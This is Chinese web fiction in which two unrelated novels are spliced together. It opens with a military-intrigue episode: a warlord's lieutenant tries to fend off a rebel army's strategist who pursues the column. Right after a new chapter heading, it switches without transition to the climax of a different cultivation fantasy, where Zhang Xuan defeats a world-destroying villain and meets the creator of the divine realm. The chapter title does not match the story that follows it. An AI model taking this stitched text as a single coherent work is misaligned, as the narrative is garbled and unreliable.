而且看情况，柳羽跟武汉冲之所以要杀自己，明显就是他们在临县玩出事了，这是想拿自己泄愤。 意识到这点，汪天淼是又害怕又觉得悲凉。 但也不知道他是狗运好，还是怎么回事。 就在李晟想让人动手的时候，后方刘宪华却是带着周阳陆游几人，骑马靠了过来： “柳哥，咱队伍后面，天军玉军师骑马追过来了！” 柳羽眼睛瞪大： “什么？” “我不找她麻烦就算了，她还敢主动追过来？” 第一百九十四章 倒反天罡 刘宪华见柳羽脸上怒意逐渐浮现，犹豫了一下开口： “柳哥，要不我带人去把她赶走？” “她就带了几个近卫，算不上威胁。” 柳羽一脸晦气地摆手。 玉军师追上来想干什么，柳羽用脚想都知道。 她想要让自己的天军下属，全部获得编制，成为临县卫所营的士兵，还得指望柳羽这边帮忙。 不然光靠柳羽给的一个王总旗，朝廷会不会认难说，就是都护府都未必会认。 但柳羽本来就觉得晦气，现在只想跟天军撇清一切干系，怎么可能乐意帮忙。 没有任何犹豫，柳羽直接道： “别管她，让弟兄们加快速度，把她甩开就行。” 刘宪华一脸踌躇的挠头： “柳哥，我们这是近千人队伍在行军，还带着四百多石粮草，不可能甩得开玉军师几个人的。” “那她追上来了，你就跟她说我不在。” 柳羽没好气道：“反正无论如何，把她拦住，不要让她找到我。” 刘宪华一脸无奈。 柳羽虽然走在队伍最前方，后面有人挡着。 可玉军师追过来，只要站在高一点的地方，一眼就能看见最前面的柳羽。 这种情况下，柳羽让刘宪华去跟玉军师说他不在。 纯属实在难为人。 谁叫柳羽是大哥呢，再为难刘宪华也只能捏着鼻子转头去办。 本来柳羽跟武汉冲都是要杀汪天淼的，现在玉军师一追过来，柳羽不得不带着队伍加快速度前进，只能是先放了汪天淼一次。 绵延到几百米的队伍最后方，不到一会儿功夫，玉军师就背着行礼，仅仅带着两个近卫骑马追了上来。 玉军师刚想骑马往前冲，去队伍最前面找柳羽。 刘宪华就赶忙一路小跑过来，身边带着几个士兵拦在路上，把玉军师给拦了下来： “哈哈哈，我当是谁，原来是玉军师啊。” “您是来找我家柳哥的吧，十分不好意思，柳哥他先一步快马加鞭回沧县了，不在大部队当中。” 玉军师手拿火把照亮前方，低头望着刘宪华冷笑出声： “你说这话，是拿我当傻子吗？” “要么让我见柳羽，要么让柳羽来见我，不然我可大声叫了。” “你也不想我乱说什么话，让所有人都听见吧？” 刘宪华一脸为难。 颇为憋屈道： “玉军师，你跟柳哥之间的恩怨，你别为难我啊，我就是传话的。” “而且啊，柳哥之前对你们天军过河拆桥，确实是他做得不对，但他不是已经把临县给你天军了吗，还留了个王总旗给你，也再没提过想要萧寒衣的事。” “你们天军想要的，柳哥都给了，你还想怎样啊。” 玉军师却是冷哼： “还想怎样？最开始是他柳羽要合作的，现在一知道我身份立马就要切割关系，他什么意思啊？” “留下临县一个烂摊子丢给天军，自己拍拍屁股躲沧县潇洒去，有他这么办事的吗？他这不是提上裤子不认人吗！” 玉军师声音很大。 前面还在前进中的队伍，最末端的不少士兵，都好奇地转头用异样的目光看了过来。 毕竟是自家老大跟天军军师间的八卦，一群当兵的，还是很有兴趣了解一下的。 刘宪华却是被玉军师这话吓了一大跳。 赶忙朝那些转过头的士兵怒吼： “看什么看，专心赶路！” 一扭过头，刘宪华是一脸苦闷： “玉军师啊，有事好商量嘛，我家柳哥是有妻室的，你这话要传出去了，你让柳哥回家了咋跟他媳妇交代？” “他媳妇要是闹起来，柳哥得剥了我皮的，你不为柳哥想，你好歹也为我想想呢。” 玉军师眼看柳羽的队伍越走越远，脸色神情是愈发冷冽： “有事好商量是吧，可以啊。” “他柳羽不是想要萧寒衣给他当质子，借着萧寒衣控制我天军吗？没问题，天军给他，我认他当主公不就行了吗，我跟着他干，也别分什么临县沧县，太平阁天军啥的了，都听他柳羽的。” “我就一个要求，让我留他身边，不要多高地位，给我个谋士当当就行。” 玉军师这话要放在以前，刘宪华绝对会高兴地跳起来去找柳羽请功。 放现在，刘宪华委屈地只想哭： “这不是听不听柳哥的事啊玉军师，您的身份您自己也清楚，柳哥要是留了你，朝廷都护府各方都来找柳哥麻烦怎么办，柳哥还活不活了，这群弟兄还活不活了？” “算我求你了你了好吧，这样，不用问柳哥，我刘宪华替柳哥做主了。” “我呢，我再抽一百匹战马，金子500两，奉送给玉军师好吧。” “只要玉军师愿意就此离去，我刘宪华亲自带人，把这些东西给天军送过去。” 柳羽千人队伍，总共就弄了三百匹战马，给天军留了两百匹。 现在又抽一百匹交出去，可以说，柳羽跟武汉冲搁临县谋划这么久，近乎就是竹篮打水一场空。 好处全留给天军了。 但偏偏的，玉军师听到这些东西，却是一点都不为所动。 只是冷眼望着刘宪华： “开春后朝廷六部官员经临县却苍县，一旦发现临县里面全是天军，都护府大军立刻就会往临县开拔。” “到时候命都没了，我要战马跟金子有屁用啊，我缺这些东西吗？” “这样！” 玉军师顿了顿，直接道： “你去跟柳羽说，我天军给他粮草七千石，金银十箱，战马两百匹。” “他不要天军两千人队伍可以，让我以谋士身份待他身边就行。” 刘宪华整个人无语到极致。 之前，是柳羽机关算尽想收了天军为自己所用，现在倒好，柳羽不想收天军了，玉军师主动把天军送上门来，求着柳羽收了。 柳羽还一点都没有胆子收。 这叫个什么事儿啊。 深吸一口气，眼看自己实在是拦不住玉军师，刘宪华只能无奈道： “这样吧，军师里先在后面跟一段，我去前面问问柳哥的意见可以吧，只要柳哥点头，一切都好说。” 玉军师寒着脸点头： “可以。” “但烦请你务必说清楚，请神容易送神难。” “他柳羽想提上裤子不认人，没门！” 第一百九十五章 幸亏失败了 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 